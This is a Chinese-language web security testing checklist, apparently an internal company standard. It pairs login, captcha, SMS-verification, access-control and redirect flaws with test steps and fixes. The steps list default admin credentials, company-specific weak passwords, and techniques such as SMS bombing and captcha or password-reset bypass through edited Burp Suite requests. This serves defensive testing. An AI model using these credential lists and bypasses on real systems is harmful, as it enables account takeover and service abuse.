用户账户可重复

风险等级：中

漏洞描述：

用户帐号（包括管理员及普通用户）应具有唯一性，保证应用系统中不存在重复用户帐号。

测试步骤：

在注册时，使用burpsuite工具抓取请求包；
将请求发送到intruder功能，使用高并发同一时间进行同步注册活动；
如果系统提示均已成功，则说明存在问题。

修复方案：

在注册时不仅对ID进行生成，也要对用户名做判断，防止相同用户名的账户重复注册。

无账户锁定机制

风险等级：中

漏洞描述：

账号活动异常时（单个IP在1分钟内尝试登录50次以上、连续5次输错登录密码、3个月从未登录）锁定用户账号，应支持管理员后台锁定用户账号。

测试步骤：

使用burpsuite抓包登录请求，爆破登录密码，高并发情况下，是否对账号或者IP进行锁定，限制登录；

登录时连续5次输错密码，是否锁定账户；

检查源码，确认锁定时间不在前台，防止前端绕过。

检查修改密码处是否存在账户锁定机制，是否可爆破他人账号。

修复方案：

建议在不影响业务的前提下，账户在多次尝试失败后锁定时间不低于3分

弱口令

风险等级：高

漏洞描述：

服务器、中间件、应用等使用了默认口令，导致可被轻易猜解。例如数据库默认空口令，管理后台使用默认帐号密码。

测试步骤：

在需要登录的位置尝试使用默认账号和弱密码进行登录，默认账户分为普通型和条件型：

普通型：

一般网站后台默认账户：admin、manager、root、admin123、admin666、admin888

数据库默认账户：admin、root

Tomcat默认账户：admin、tomcat、manager

Jboss默认账户：admin、jboss、manager

Weblogic默认账户：weblogic、admin、manager

条件型：

根据实际系统环境生成默认账户字典，如：“四位字母”+“4位数字”生成分公司员工工号、“c_”+“姓名”生成p13账号；

弱密码示例如下，或者根据环境、内部人员信息、命名习惯等构造的社工密码；
登录口使用常见的用户名（admin,manager,pl3,电话号码）加上弱口令（ ①1大2小类规律键盘密码，例如Qwer1234、Qwer!@#$、!QAZ2wsx、1qaz2wsX、1234Qwer，②我司常见弱密码：例如Cpic1234、Cpic1111、Cpic1234！，③常见特殊弱密码：Passw0rd、Passw@rd、P@ssw0rd、Test1234、123456、123654、666666、888888、88888888）进行尝试登录；
服务器、中间件、应用等使用了默认口令，导致可被轻易猜解。例如数据库默认空口令，管理后台使用默认帐号密码。
弱口令字典详见pass.txt文件。

修复方案：

若管理员及普通用户通过用户名/密码进行认证，必须支持：

1. 不能包含用户的帐户名，生日，电话号码

2. 不能包含用户姓名中超过两个连续字符的部分；2个以上连续数字或字母；2个以上重复数字或字符；

3. 至少有八个字符长

4. 至少每六个月更换一次密码

5. 禁止使用前两次的密码

6. 包含以下四类字符中的四类字符:

①英文大写字母(A 到 Z)

②英文小写字母(a 到 z)

③10 个基本数字(0 到 9)

④非字母字符(例如 !、$、#、%)

7. 禁止使用的特殊弱密码：

①1大2小类规律键盘密码，例如Qwer1234、Qwer!@#$、!QAZ2wsx、1qaz2wsX、1234Qwer等

②我司常见弱密码：例如Cpic1234、Cpic1111

③常见特殊弱密码：Passw0rd、Passw@rd、P@ssw0rd、Test1234

不安全的错误提示

风险等级：中

漏洞描述：

身份验证的失败提示信息采用模糊处理，比如可以使用“用户名或密码错误”，而不要使用“用户名错误”或者“密码错误”明确提示。（适用于面向客户的系统）

测试步骤：

输入正确用户名，错误密码，页面提示密码错误，即存在该问题。
输入错误的用户名，页面直接提示用户名错误，存在该问题。
页面提示“用户名或密码错误”，页面跳转带有错误类型参数，如errormsg=1，代表密码错误，errormsg=0代表用户名错误。这种情况也存在该问题。
存在注册功能时，站点可能会对用户名或登陆凭证是否已存在做校验，若无token、图形码、验证码，并且可以遍历的情况也存在该问题。

修复方案：

建议身份验证的失败提示信息采用模糊处理，比如可以使用“用户名或密码错误”，而不要使用“用户名错误”或者“密码错误”明确提示。

密码不应返回前端

风险等级：中

漏洞描述：

服务器端将密码信息返回在响应数据包中或者在登录、验证等页面的隐藏域中存在密码信息。

测试步骤：

检查登陆相关js文件如login.js、index.js、passwd.js、crypto.js等及登陆页面注释部分是否存在账号密码；
对注册、登陆、重置密码、修改密码过程中的旧密码校验和新密码更新等涉及密码操作，使用burpsuite抓取相关数据包；
检查响应包中是否存在以明文、base64、MD5等形式存储的账户密码信息；

修复方案：

用户名及密码尽可能不在客户端存储，若有必要，如cookie中暂存，应以加密方式存储。

登录认证可被绕过

风险等级：高

漏洞描述：

登录认证在前端校验，未在服务端校验，导致登陆认证可被绕过。

测试步骤：

检查登陆相关js文件如login.js、index.js、passwd.js、crypto.js等及登陆页面注释部分是否存在登陆后跳转地址，检查跳转地址是否可以按照跳转逻辑构造数据包后直接访问；
对登陆过程，使用burpsuite抓取相关数据包；
检查响应包中是否传输了登陆认证结果，修改认证失败结果为成功检查是否可以登入系统；

检查响应包中cookie值是否包含登陆认证结果，构造认证成功的cookie检查是否可以登入系统；

修复方案：

1.修改验证逻辑，如是否登录成功服务器端返回一个参数，但是到此就是最终验证，不需要再对返回的参数进行使用并作为登录是否成功的最终判断依据;

2.严格检查系统是否存在登录页面，删除测试用的登录页面，如系统内功能均为公共功能无需设置权限，尽量删除登陆页面；

3.信公众号等绑定类登录页面，需要采用多因素认证，如工号+身份证号+手机号发送验证码，类似于工号+身份证号的均为风险认证

强密码机制检测

风险等级：中

漏洞描述：

应用系统后台未强制用户设置强密码，导致在注册、密码重置等功能模块可以使用弱密码，易被攻击者暴力猜接。

应用后台应强制用户使用强密码，满足如下规则：

1. 不能包含用户的帐户名，生日，电话号码

2. 不能包含用户姓名中超过两个连续字符的部分；2个以上连续数字或字母；2个以上重复数字或字符；

3. 至少有八个字符长

4. 至少每六个月更换一次密码

5. 禁止使用前两次的密码

6. 包含以下四类字符中的四类字符:

①英文大写字母(A 到 Z)

②英文小写字母(a 到 z)

③10 个基本数字(0 到 9)

④非字母字符(例如 !、$、#、%)

7. 禁止使用的特殊弱密码：

①1大2小类规律键盘密码，例如Qwer1234、Qwer!@#$、!QAZ2wsx、1qaz2wsX、1234Qwer等

②我司常见弱密码：例如Cpic1234、Cpic1111

③常见特殊弱密码：Passw0rd、Passw@rd、P@ssw0rd、Test1234

测试步骤：

在设置密码功能时输入不符合密码规则的密码，查看系统是否存在强密码的校验机制；
如果密码校验机制是通过前端js来判断的，那么通过抓包的方式，在请求包中将密码修改为弱口令，提交请求后查看是否能够成功设置密码，如果可以设置成功，那么说明密码检测机制在前端判断可以被绕过，如果有“密码强度不足”等提示，说明不存在问题。

修复方案：

应用后台应强制用户使用强密码，满足如下规则：

1. 不能包含用户的帐户名，生日，电话号码

2. 不能包含用户姓名中超过两个连续字符的部分；2个以上连续数字或字母；2个以上重复数字或字符；

3. 至少有八个字符长

4. 至少每六个月更换一次密码

5. 禁止使用前两次的密码

6. 包含以下四类字符中的四类字符:

①英文大写字母(A 到 Z)

②英文小写字母(a 到 z)

③10 个基本数字(0 到 9)

④非字母字符(例如 !、$、#、%)

7. 禁止使用的特殊弱密码：

①1大2小类规律键盘密码，例如Qwer1234、Qwer!@#$、!QAZ2wsx、1qaz2wsX、1234Qwer等

②我司常见弱密码：例如Cpic1234、Cpic1111

③常见特殊弱密码：Passw0rd、Passw@rd、P@ssw0rd、Test1234

用户密码重置

风险等级：高

漏洞描述：

在重置密码中服务器对用户提交的验证码进行校验，如果校验成功则返回响应的特征值，如1、true、success，如果失败则对应返回0、false、fail。但是如果根据服务端返回特征值来判断下一步是否能进入密码重置页面的校验动作由客户端完成的话则会被绕过，从而修改任意用户密码

测试步骤：

前端校验情况：验证用户名密码成功之后返回flag到前端，前端根据flag进行下一步，此方法可通过burpsuite修改返回包绕过；
使用手机、邮箱等进行验证：后端验证不严格时，可将请求包中的手机号、邮箱修改成攻击者的，从而接收验证信息进行绕过，重置受害者密码；
验证用的验证码直接返回到前端：查看响应包中是否包含验证码，输入正确的验证码后，跳过验证步骤，进行修改密码的操作；
验证码未绑定用户：使用自己注册账号的验证码验证其他用户重置密码的功能；
跳过验证步骤：直接访问重置密码的连接，即可跳过当前身份验证的步骤；
未校验用户字段的值：发起修改密码的请求时，将用户字段修改为其他账号，如将用户名修改为admin，即可以修改admin账户的密码；
Cookie值的替换：cookie算法强度不高，容易被破解时，通过修改cookie中的字段，获得其他账号的cookie，修改密码时将cookie替换为其他账号的cookie，即可将其他账号的密码修改成功；
验证码可被穷举：密码修改一般会将验证码发送到用户的手机号码或者邮箱中，如果验证码过于简单，如纯4位数字，且验证码未及时更新注销，则容易遭受验证码被穷举风险，从而修改任意用户密码。

修复方案：

密码重置应在服务端严格校验用户身份，如校验用户绑定身份证号码、绑定手机号等，且一切前端校验都是不安全的，所有校验禁止在客户端进行校验，应该交由服务端进行校验。

更改密码时不需要输入原密码

风险等级：中

漏洞描述：

涉及交易功能、账号重要关联信息（密码、身份证件号、关联的手机号/邮箱等）修改时应对用户再次进行身份认证；

测试步骤：

修改密码时，需输入原密码，没有输入原密码，即存在该问题。
修改密码时，要求输入原密码，没有对密码正确进行验证，存在该问题。
修改密码时，要求输入原密码，但原密码验证判定在前端进行，则存在该问题。可通过修改原密码验证的返回包数据，如将参数false改为true，绕过原密码校验，直接修改密码。

修复方案：

修改密码时需要对当前用户身份进行校验，如对旧密码进行校验或者通过即时的短信验证码进行校验。

展业系统单因素认证

风险等级：中

漏洞描述：

对互联接入的展业系统（除了微信、支付宝以外的应用），未采用两种或两种以上的方式进行身份认证，如使用户名口令、动态密码、USB证书。

测试步骤：

确认是否为需要登录或者绑定业务的系统；
检查系统是否使用了至少两种方式认证，如身份证号加短信验证码，注意工号加身份证号或者工号加手机号等类似情况不属于双因素认证；
如果系统使用了两种或两种以上方式进行身份认证说明不存在该漏洞。

修复方案：

对互联接入的展业系统（除了微信、支付宝以外的应用），应采用两种或两种以上的方式进行身份认证：用户名口令、动态密码、USB证书

图形验证码

无图形验证码功能

风险等级：中

漏洞描述：

注册页面、短信及邮箱认证页面、限时抢购类页面需要添加图形验证码以达到防止恶意用户侵入、恶意灌水、刷票，爆破、撞库、接口滥用等问题。

测试步骤：

当登录页面、注册页面、短信及邮箱认证页面、活动确认页面、提交订单页面没有图形验证码时，可能导致登录页面被暴力破解，账号被恶意注册，短信轰炸及邮箱轰炸等问题；
针对以上页面功能需要增加图形验证码功能。

修复方案：

若系统存在注册页面、短信及邮箱认证页面、限时抢购类等通过电脑自动操作可能会带来危害的页面，均采用图形验证码技术；

1、图形验证码，应采取了一定的干扰措施来防止电脑自动识别；

分析数据包内容应不存在图形验证码的明文文本内容；

2、每次提交后，验证码均已更新；等待5分钟以后，正确的验证码应该也不能验证通过；无法通过修改图形验证码生成链接中的width、heigh等参数，操控响应报文的大小

3、分别通过界面及采用Burp Suite提交验证码，检查服务器是否在每次提交后更新验证码；验证码出现后，等待一定时间后，输入正确的验证信息，检查是否可以通过验证；

4、使用Burp Suite查看图形验证码生成链接，如其参数内存在width、heigh等参数，通过修改参数判断验证码大小是否可控

图形验证码机制可以被绕过

风险等级：中

漏洞描述：

图形验证码可被绕过，执行暴力破解、短信轰炸等自动化攻击操作。

测试步骤：

验证码无效：无论输入什么都判断验证码正确；
验证码固定：也叫验证码重复使用（重用）。是指验证码没有设使用期限，在验证码首次认证成功后没有删除session中的验证码，使得该验证码可被多次成功验证，从而造成危害。在实际测试中，首先填写正确登录信息和验证码然后抓取提交数据包，然后重复提交该数据包，登录成功则存在验证码重复使用问题。
验证码回显到前端：验证码在html或cookie中显示，或输出到response headers的其他字段，可被直接查看；
验证码可猜测：由于验证码设置比较简单，可能只有数字或字母组成，也可能是其设定范围有限，导致验证码内容可被猜测。
逻辑缺陷导致验证码可绕过：由于逻辑设计缺陷，可绕过验证，常见绕过方式如直接删除COOKIE、验证码参数为空、直接删除验证码参数可绕过和修改Response状态值。也可根据情况组合以上绕过方式。
验证码存在特殊值可通过校验，如:pass、allpass、0000、000000等等

修复方案：

1、系统在开发时注意验证识别后销毁session中的验证码。

2、限制用户提交的验证码不能为空

3、判断提交的验证码与服务器上存储的是否一致

4、禁止将验证码明文信息发送至客户端

验证码可识别

风险等级：中

漏洞描述：

图形验证码应采取一定的干扰措施且不可预测，如字体倾斜，加背景噪点、横线；

测试步骤：

点击验证码，发现验证码只是简单数字字母组合，无干扰措施，可以通过百度识图编写python脚本进行识别，识别率在80%以上即存在该问题，脚本参考地址https://www.jb51.net/article/188712.htm。

修复方案：

采取一定的干扰措施且不可预测，如字体倾斜，加背景噪点、横线等

前端可控的验证码生成机制

风险等级：中

漏洞描述：

图形验证码需由服务端生成并进行验证，不得在页面源文件返回;

测试步骤：

点击验证码，F12查看没有请求包，验证码由前端js生成，即存在该问题。
点击验证码，F12发现存在请求包，请求包参数附带leng,width,height参数，通过修改这些参数，可以控制验证码，即存在该问题；

修复方案：

图形验证码应采取一定的干扰措施且不可预测，可调整原有验证码中字体的倾斜度，背景添加噪点、加干扰线等；或换用更安全的图形验证码生成方式，如：滑块、转图、拼图、涂鸦等，以确保图形验证码不被识别。

验证码返回前端

风险等级：中

漏洞描述：

图形验证码数值在返回包中返回前端(可通过自动化程序输入验证码，导致验证码无效，导致防护失效) ;

测试步骤：

点击验证码，查看请求的响应包，响应中存在验证码，如图所示，即存在该问题。

修复方案：

禁止将验证码返回给客户端。

验证码长度可控

风险等级：中

漏洞描述：

在页面上存在参数可指定验证码的位数，这可简化识别工作。此问题的出现也可能是调试的需要，并发布时忘记注释掉相关代码而导致。

测试步骤：

检查系统生成验证码机制，寻找是否能够控制生成长度相关字段；
若生成图片验证码长度可控会消耗大量系统资源，如直接控制生成图形验证码大小,过大系统响应时间会变慢，大量发送该请求即可造成DOS攻击。

修复方案：

验证码不因在前端生成与验证，应由服务端生成并对传来的数据包进行对验证码的验证。

验证码重复利用

风险等级：中

漏洞描述：

验证码在使用过程中可对固定验证码进行重复利用，若存在登录处可造成暴力破解；若存在系统评论处可造成大量恶意灌水评论。

测试步骤：

输入正确的验证码进行抓包重放，查看验证码是否能够重复利用；
若系统存在loginerr等字段记录验证码错误次数，可抓包将loginerr字段修改为0或直接删除该字段，可造成验证码重复利用；
检查系统是否通过Session字段中相关参数要求更新验证码，部分web应用当验证码输入错误后，会返回重新获取验证码字段在session中。若相关参数可控可进行固定造成验证码重复利用；
检查系统是否通过刷新页面或登录失败点击返回首页等方式触发验证码更新，若使用此方式可尝试不刷新页面或尝试阻断更新机制造成验证码重复利用。

修复方案：

在服务端进行校验失效期，关键操作每提交一次请求，应刷新验证码，并且不可继续使用旧的验证码。

验证码重复利用

风险等级：中

漏洞描述：

验证码使用过程中，其固定验证码进行多次或无限重复利用，比如可进行暴力破解，恶意注册，无限刷帖，短信轰炸等需要验证码的功能点。

测试步骤：

不进行新验证码获取与更新的情况下，旧的验证码仍可以重复利用
输入正确的验证码后进行抓包多次重放，查看多次请求后，验证码是否能通过验证，是否还具备其有效性
提交验证码的请求包中，存在某些字段记录验证码错误次数，可抓包将字段修改为0或直接删除该字段，都有可造成验证码重复利用
检查系统是否通过Session字段中相关参数要求更新验证码，部分web应用当验证码输入错误后，会返回重新获取验证码字段在session中。若相关参数可控可进行固定造成验证码重复利用。

修复方案：

在服务端进行校验失效期，关键操作每提交一次请求，应刷新验证码，并且不可继续使用旧的验证码。

短信验证码

短信轰炸

风险等级：高

漏洞描述：

攻击者通过网站页面中所提供的发送短信验证码的功能处，通过对其发送数据包的获取后，进行重放，如果服务器短信平台未做校验的情况时，系统会一直去发送短信，这样就造成了短信轰炸的漏洞

测试步骤：

利用空格或特殊字符绕过：在发送请求的手机号前面或末尾添加空格、特殊字符可以对该手机号无限制发送短信；原因：后端先验证手机号唯一性，通过空格、+等特殊字符可以绕过这一步，下一步发送验证码时，接口对参数默认只取数字部分、或者使用正则提取，因此成功发送短信。
利用接口绕过：比如这样的参数：terminal=01&Mobile=XXXXXXX，terminal表示不同情况，01代表注册、02代表登录验证、03代表密码重置。通过terminal替换即可造成轰炸效果
修改cookie绕过：有些网站不直接验证手机号来判断，而是利用当前Cookie来进行验证发送次数，如果此时的cookie不是登录的cookie，我们可以通过自行修改cookie来绕过限制；

例如：https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=27614

修改ip绕过：有些同样是验证当前IP的，如果当前IP短时间内获取短信频繁或者达到一定次数的话就会出现限制，那么就可以利用修改IP或者代理IP来进行绕过限制；
利用不同的账户达到轰炸的效果：有时候仅是对一个手机号无法进行短信轰炸，我们对多个手机号发送短信同样可以达到消耗短信资源的效果，如果是特殊的功能点，比如办卡，推荐新用户等，可以利用社工库撞库判断手机号是否注册过；
利用页面特点实现轰炸：手机app的某些activity调起的时候会触发发送短信的动作，我们利用自动化脚本重复调起该界面可以达到轰炸效果
修改返回值：这种情况通常分为两步，第一步验证当前手机号是否超过限制，还可以发送短信返回success，否则发送error，第二步根据第一步的返回值对服务器进行请求发送验证码。因此可以通过修改返回包进行绕过
设置发送时间间隔：编写脚本，构造发送短信请求包，设置发送请求时间间隔（如3分钟），验证系统是否限制短信每日最大发送请求次数，以及发送频率的限制是否合理。
利用burpsuite的turbo-intruder-all插件进行高并发爆破。

修复方案：

1.合理配置后台短信服务器的功能，对于同一终端，60秒内只能发送一次短信验证码。

2.正确并有效配置并发锁以防止通过高并发而导致的短信轰炸。

3.并且可以加入验证码功能以及可对发送的时间间隔进行限制。

4.对手机号码进行强加密

短信验证码机制可以被绕过

风险等级：高

漏洞描述：

服务端在校验信息时，未校验验证码参数

测试步骤：

客户端绕过：验证码返回到前端，在返回包中发现系统返回了明文或密文验证码；修改返回包，通过前端校验验证码是否合格进行下一步，修改返回包中的flag，比如成功success、失败false，将false修改为success即可绕过；
校验次数未限制：验证码校验5次之后仍未失效，可以通过脚本或者burpsuite进行爆破；
验证码与手机未绑定：手机A的验证码，B也可以用，攻击者使用自己的手机接收验证码，然后使用正常用户的手机进行验证码相关操作

修复方案：

1. 若存在特权验证码，建议将其删除；

2. 应用服务端应严格校验验证码参数是否为空，格式是否正确；

3. 关键操作每提交一次请求，应发送新的短信验证码，并且不可继续使用旧的验证码。

短信验证码未绑定

风险等级：高

漏洞描述：

后台生成的验证码与请求的手机号未绑定，攻击者使用自己的手机接收验证码，使用该验证码以及其他用户的手机号进行违规操作，比如修改其他用户密码、任意注册等

测试步骤：

在需要手机验证码的功能处，填写自己的手机号，并接受验证码；重新使用该功能，填写其他用户的手机号（或者使用burpsuite抓包接下来的步骤，修改请求中的手机号），并填写自己收到的验证码。比如在修改密码处，一旦知道管理员的手机号，即可修改管理员的密码；

修复方案：

在服务端校将验证码与手机号绑定，确保短信验证码与绑定手机号一一对应。

短信内容可控

风险等级：中

漏洞描述：

短信内容在前端可编辑，攻击者可以构造钓鱼连接等危险数据发送给客户

测试步骤：

短信页面编辑框，或者使用burpsuite抓包修改数据包里的短信内容，查看接收到的短信是否改变。

如图可编辑短信内容，并将构造的钓鱼连接发送给用户。

接收到的短信内容含有用户名、时间等动态变化参数，查看发送验证码的报文是否含有相关参数，尝试修改这些参数，看接收的短信内容中是否有变化。

修复方案：

短信验证码应只以短信方式发送到指定手机号，不再客户端进行发送和返回。

短信验证码返回到前端

风险等级：高

漏洞描述：

页面功能在请求短信验证码时，在响应包中发现明文、弱加密验证码

测试步骤：

页面功能在请求短信验证码时，在响应包中发现明文、弱加密验证码；

如图为发送手机验证码的请求，在响应包中发现了手机验证码：

修复方案：

禁止将验证码返回给客户端。

短信验证码可爆破

风险等级：高

漏洞描述：

服务端未限制验证次数

测试步骤：

页面功能请求验证码之后，填写任意验证码；
一分钟内发送超过一次，查看响应包内容是否提示发送时间间隔、单个超过次数等。比如1分钟之内只能发送一次、同一手机一天只能发送5次，剩余1次。
多次发送请求，若都是同一个响应内容，大概率存在漏洞。
使用burpsuite进行爆破，查看用户接收到的短信验证码是否成功验证。

修复方案：

设置验证码的过期时间（5分钟或15分钟失效）且服务器端每次校验后须刷新验证码，防止暴力破解验证码。

验证码机制过于简单

风险等级：中

漏洞描述：

短信验证码复杂度不高，少于6位，容易被猜解。

测试步骤：

测试发送短信验证码的功能；
如果返回的短信验证码是否少于6位，如果使用了4位的验证码，那么则存在被暴力猜解的风险。

修复方案：

图形验证码需由服务端生成并进行验证，不在前端与response中返回

短信验证码重复利用

风险等级：高

漏洞描述：

由于未设置验证码的失效时间和使用次数，在进行输入时没有对验证码进行验证，导致验证码只要可使用就可以通过验证，导致可以多次利用进行操作。

测试步骤：

同一短信验证码可以重复使用5次以上，则说明存在重复利用的问题；
同一短信验证码在五分钟内未失效，则为短信验证码重复利用问题。

修复方案：

在服务端设置校验失效期，且每次校验后，无论校验是否通过都对验证码进行刷新处理。

短信验证码重复利用（重复）

风险等级：高

漏洞描述：

由于未设置验证码的失效时间，在进行输入时没有对验证码进行验证，导致验证码只要可使用就可以通过验证，导致可以多次利用进行操作

测试步骤：

（1）获取短信验证码之后，打开burp工具并开启抓包

（2）输入正确验证码并进行下一步，将抓取到的请求报发送到Repeater进行重放测试

（3）若响应包超过一次提示成功，则存在此问题。

修复方案：

在服务端设置校验失效期，且每次校验后，无论校验是否通过都对验证码进行刷新处理。

验证码返回前端

风险等级：中

漏洞描述：

验证码回传至响应数据包内，且未加密或弱加密，抓取响应包即可得知验证码(可通过自动化程序输入验证码，导致验证码无效，导致防护失效)

测试步骤：

点击验证码，查看请求的响应包，响应中存在验证码，如图所示，即存在该问题。

修复方案：

禁止将验证码返回给客户端。

脆弱的加密方式

风险等级：中

漏洞描述：

敏感数据的加密方式容易被破解

测试步骤：

使用BASE64编码，BASE64并不是加密算法，只是一种编码方式。
使用常见的散列加密：如MD5、sha1等，可以通过撞库解密；
采用常见的加密算法的默认配置，未设置自己的秘钥，可以通过原版算法解密；
前端泄露加密解密函数，通过简单分析，即可得到加解密函数。

修复方案：

对于互联网传输的敏感信息应使用Hash+Salt,SHA2及以上强度的Hash算法，进行加密方式传输。

敏感信息明文传输

风险等级：高

漏洞描述：

系统采用HTTP访问模式，在页面上的操作全部采用HTTP方式明文传输，并且页面中也没有对传输的用户名和密码等敏感信息进行加密后传输，这样认证会话信息等敏感数据在网络中是明文传输，很容易被嗅探到

测试步骤：

敏感信息GET传输
敏感信息POST传输，但是协议为HTTP

修复方案：

1.对于互联网传输的敏感信息应采用加密方式传输，如用户名、密码、id等，防止产生关键字段暴力破解或参数遍历获取到信息的风险。

2.互联网传输的BS架构应用应采用VPN链路加密或HTTPS（应采用TLS1.2及以上版本加密）适用于交易、支付类应用系统。

3.互联网传输的CS架构应用应采用加密方式传输。（如采用HTTPS，应使用TLS1.2及以上版本加密）

后台管理界面外网暴露

风险等级：中

漏洞描述：

后台管理界面（包括不限于：可操作管理多个账户，具有账号权限功能增删改权限的用户界面；可发布公告等内容管理的用户界面；可查询应用日志系统日志账户；可更改应用系统界面内容配置账户；）暴露在互联网上。

测试步骤：

查看系统框架是否有开源，开源的情况可以使用该系统的默认目录规则进行爆破：比如weblogic后台：http://ip:7001/console/login/LoginForm.jsp
非开源目录使用常见的目录进行爆破：比如admin、test、manage、management；
也可以根据网站信息生成特定目录：比如cpic、系统名称简写等各种关键词的搭配
查看js文件，检索如/admin、/manage、/login等关键字，看是否存在后台登录地址。
判定此漏洞，需确认此系统的使用者，若只供内部用户使用，要求将管理界面放在内网，若需供互联网客户使用，已启用安全认证，则为正常页面。

修复方案：

1)应保证应用系统的管理安全，后台管理界面（包括不限于：可操作管理多个账户，具有账号权限功能增删改权限的用户界面；可发布公告等内容管理的用户界面；可查询应用日志系统日志账户；可更改应用系统界面内容配置账户；）均不能向互联网暴露。

2)如有特殊需要，互联网的后台管理界面添加白名单访问机制。

垂直越权访问

风险等级：高

漏洞描述：

权限ID不变，权限类型改变，一个低级别攻击者尝试访问高级别用户的资源。

测试步骤：

测试能否通过URL地址获取管理员及其他用户信息，出现admin、user、system、pwd等敏感目录的URL地址，比如http://localhost/userManage/userList.do，会出现所有的user，并复制此链接；
以普通用户登陆进系统,在地址栏输入: userManage/userList.do，如果可以查看到其所有的user，则就造成了，普通用户的垂直越权访问；
或者找到其中进行增删改查操作的数据包，然后将请求包中鉴别身份的参数，如修改ID：id、user_id、shopid、orderd、appid；修改鉴权token、cookie，将这些参数使用burpsuite工具修改为其他账号的数据，然后将修改后的请求包发送给服务器。
观察服务器是否会返回其他账号的数据，如果正常返回其他账号的数据，说明该功能点没有做好权限控制，存在越权访问问题；
当系统存在多个不同权限的管理员时，低权限的管理员能访问或操作到高权限的管理的资源，则说明是垂直越权访问；
一些静态资源请求和本身无鉴权的请求，如：公告信息、新闻信息、图片资源信息、下载链接以及打印页面等不存在越权操作。

修复方案：
对用户操作进行权限校验，防止通过修改参数进入未授权页面及进行非法操作，建议在服务端对请求的数据和当前用户身份做一个校验检查。

水平越权访问

风险等级：高

漏洞描述：

权限类型不变，权限ID改变，攻击者尝试访问与他拥有相同权限的用户的资源。

测试步骤：

或者找到其中进行增删改查操作的数据包，然后将请求包中鉴别身份的参数，如修改ID参数：id、user_id、shopid、orderd、appid、；修改鉴权token、cookie，将这些参数使用burpsuite工具修改为其他账号的数据，然后将修改后的请求包发送给服务器。
观察服务器是否会返回其他账号的数据，如果正常返回其他账号的数据，说明该功能点没有做好权限控制，存在越权访问问题；
当系统存在多个需要登录用户，A用户能访问或操作B用户的资源，则说明是水平越权访问；
一些静态资源请求和本身无鉴权的请求，如：公告信息、新闻信息、图片资源、下载链接以及打印页面等信息不存在越权操作。

修复方案：

对用户操作进行权限校验，防止通过修改参数进入未授权页面及进行非法操作，建议在服务端对请求的数据和当前用户身份做一个校验检查。流程描述：在服务器接收到用户发送的页面访问请求时，根据预设的识别策略，从用户的页面访问请求中提取该用户对应的用户唯一标识信息，同时提取所述页面访问请求对应的应答页面中的表单及该表单中不可修改参数，将所述表单及不可修改参数与所述用户唯一标识信息绑定后记录到参数列表中；检测到用户提交请求页面的表单时，将所述请求页面的表单及不可修改参数与该用户对应的所述参数列表中记录的表单及不可修改参数进行比对，控制该用户的访问

未授权访问

风险等级：高

漏洞描述：

攻击者没有获取到登录权限或未授权的情况下，或者不需要输入密码，即可通过直接输入网站控制台主页面地址，或者不允许查看的链接便可进行访问，同时进行操作。

测试步骤：

登陆测试功能点，burpsuite工具抓取访问功能点时的数据包；
找到其中能进行增删改查操作的数据包，将其中判断用户身份的参数，如token、cookie、openid删掉，然后将修改后的请求包发送给服务器；
观察能否正常访问该功能点，能否正常使用增删改查功能，如果能正常使用，那该功能点就没有做权限控制，任意用户都可以访问和操作该功能点。如果无法访问，则该功能点不存在未授权访问的漏洞。
一些未授权访问的特例：

Spring boot未授权访问：

actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块。在 Actuator 启用的情况下，如果没有做好相关权限控制，非法用户可通过访问默认的执行器端点（endpoints）来获取应用系统中的监控信息，从而导致信息泄露甚至服务器被接管的事件发生。其中一些默认端点如下：

使用扫描工具，对/Actuator/{默认端点} 进行扫描测试，可以发现该问题。

通常识别当前 web 应用使用的框架为 springboot 框架。主要有两个方法判断

a. 通过 web 应用程序网页标签的图标（favicon.ico）；如果 web 应用开发者没有修改 springboot web 应用的默认图标，那么进入应用首页后可以看到如下默认的绿色小图标：

b. 通过 springboot 框架默认报错页面，如果 web 应用开发者没有修改 springboot web 应用的默认 4xx、5xx 报错页面，那么当 web 应用程序出现 4xx、5xx 错误时，会报错如下（此处仅以 404 报错页面为例）：

修复方案：

根据业务/系统具体情况，结合如下建议做出具体选择：

1. 配置访问控制规则

2. 修改默认端口

3. 添加密码验证

4. 最小化权限运行

5. 备份数据

内网接口无校验访问

风险等级：中

漏洞描述：

接口未作身份校验，通过接口报文可直接向内网接口发起通信请求，进行获取敏感信息等操作。

测试步骤：

使用nmap对目标系统进行端口扫描，检查时是否存在常见API默认接口；
使用目录扫描工具对目标系统进行扫描，检测是否存在接口地址；
对发现的接口地址构造请求，尝试增删改数据、读取敏感数据、获取账号密码以及命令执行、权限提升等操作；

修复方案：

建议用白名单方式或者身份认证等方式对来自接口的任何请求数据。

互联网接口无校验访问

风险等级：中

漏洞描述：

接口未作身份校验，通过接口报文可直接向互联网接口发起通信请求，进行获取敏感信息等操作。

测试步骤：

使用nmap对目标系统进行端口扫描，检查时是否存在常见API默认接口；
使用目录扫描工具对目标系统进行扫描，检测是否存在接口地址；
对发现的接口地址构造请求，尝试增删改数据、读取敏感数据、获取账号密码以及命令执行、权限提升等操作；

修复方案：

针对互联网接口调用，应对接口进行访问控制，防止非授权对象调用。访问控制方式，包括不限于身份认证、证书和IP白名单方式

未验证的URL跳转

风险等级：中

漏洞描述：

服务端未对传入的跳转url变量进行检查和控制，可能导致可恶意构造任意一个恶意地址，诱导用户跳转到恶意网站。

测试步骤：

寻找系统相关URL中存在跳转的链接（如登录页面）http://www.example.com/member/login.html?redirectUrl=http://www.google.cn修改其中redirectUrl值查看是够能够正常跳转至修改后的页面；
修改跳转链接地址后通过抓包工具获取其HTTP响应头中Host的值是否包含了构造的URL内容；
如果是struts2重定向漏洞，则可通过web扫描工具扫描发现，或者手工验证，直接在URL后添加?redirect:+指定钓鱼链接。

修复方案：

1、 referer的限制

如果确定传递URL参数进入的来源，我们可以通过该方式实现安全限制，保证该URL的有效性，避免恶意用户自己生成跳转链接

2 、加入有效性验证Token

我们保证所有生成的链接都是来自于我们可信域的，通过在生成的链接里加入用户不可控的Token对生成的链接进行校验，可以避免用户生成自己的恶意链接从而被利用，但是如果功能本身要求比较开放，可能导致有一定的限制

会话超时

1.未启用会话超时功能

风险等级：中

漏洞描述：

具有登录功能的互联网系统，在涉及敏感信息时（包括但不限于：身份证号码、个人生物识别信息、银行账号、通信记录和内容、财产信息、征信信息、行踪轨迹、住宿信息、健康生理信息、交易信息、14岁以下（含）儿童的个人信息），如“我的”、“通讯录和机构信息”、“人事薪酬”、“家庭关系”等页面，必须设置会话超时不得大于15分钟。应用会话超时后，二次认证可选择手势密码、指纹、人脸识别、短信等方式提升交互体验。

测试步骤：

正常登陆账户后，15分钟不3做点击请求操作。
